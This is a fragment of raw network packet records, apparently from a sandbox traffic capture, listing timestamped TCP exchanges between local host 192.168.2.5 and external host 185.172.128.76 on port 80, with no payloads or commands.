Apr 23, 2024 09:33:03.394905090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394906998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394937992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.394938946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394974947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.394977093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395009995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395015001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395044088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395046949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395078897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395082951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395111084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395119905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395145893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395148993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395180941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395184994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395216942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395220995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395247936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395256042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395282030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395284891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395317078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395320892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395350933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395354986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395381927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395390987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395416975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395420074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395451069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395454884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395484924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395488024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395517111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395524025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395551920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395559072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395586967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395596027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395623922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395627975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395659924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395663977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395694971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395705938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395730019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395735025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395761967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395768881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395797014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395802021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395833015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395837069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395868063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395874023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395899057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395910025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395935059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395937920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.395968914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.395973921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396003008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396008968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396034956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396040916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396070004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396073103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396109104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396121979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396157980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396163940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396189928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396198988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396224022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396229029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396259069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396262884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396292925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396297932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396328926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396332979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396363020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396370888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396398067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396404028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396431923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396439075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396466970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396471024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396502018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396506071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396537066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396543026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396567106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396576881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396601915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396605968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396639109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396641970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396676064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396678925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396708012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.396716118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.396747112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445411921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445477009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445486069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445516109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445672035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445713997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445727110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445750952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445755005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445789099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445792913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445827007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445828915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445863962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445899010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445935011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445957899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.445966959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.445972919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446002007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446006060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446034908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446037054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446073055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446073055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446109056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446114063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446144104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446147919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446180105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446183920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446213007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446214914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446247101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446249008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446285009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446295023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446320057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446320057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446352005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446360111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446387053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446391106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446422100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446427107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446458101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446461916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446489096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446497917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446526051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446528912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446561098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446564913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446597099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446600914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446629047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446639061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446666002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446666002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446702957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446706057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446737051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446743011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446768999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446774960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446805000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446806908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446841002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446844101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446876049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446880102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446907997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446937084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446942091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446943045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.446978092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.446985960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447012901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447019100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447045088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447052956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447079897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447083950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447115898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447118998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447150946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447154999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447182894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447191000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447217941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447221041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447253942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447272062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447292089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447293997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447325945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447330952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447360992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447365999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447396994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447401047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447433949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447443008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447470903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447503090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447510004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447788000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447824955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447844028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447860956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447870970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447897911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447900057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447932959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447936058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.447968960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.447981119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448004961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448008060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448039055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448040962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448075056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448076963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448117971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448138952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448174953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448180914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448215008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448221922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448252916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448256969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448288918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448292017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448327065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448333979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448370934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448376894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448406935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448411942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448442936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448447943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448478937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448481083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448513985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448517084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448549032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448554039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448586941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448589087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448621988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448626041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448659897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448659897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448698997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448704004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448734045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448739052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448771954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448777914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448810101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448811054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448846102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448849916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448880911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448889971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448915958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448916912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.448971033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.448976040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449007988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449011087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449043036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449047089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449075937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449081898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449112892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449114084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449148893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449151993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449187994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449192047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449222088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449229956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449256897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449259996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449294090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449297905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449328899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449332952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449361086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449368000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449395895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449398041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449433088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449435949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449467897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449470997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449500084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.449507952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.449537992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.496258974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.496340990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498104095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498162985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498409986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498464108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498579979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498616934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498630047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498652935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498670101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498706102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498716116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498740911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498749018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498780966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498789072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498816967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498826027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498852968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498861074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498888016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498898983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498924017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.498931885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.498960018 CEST	80	49704	185.172.128.76	192.168.2.5
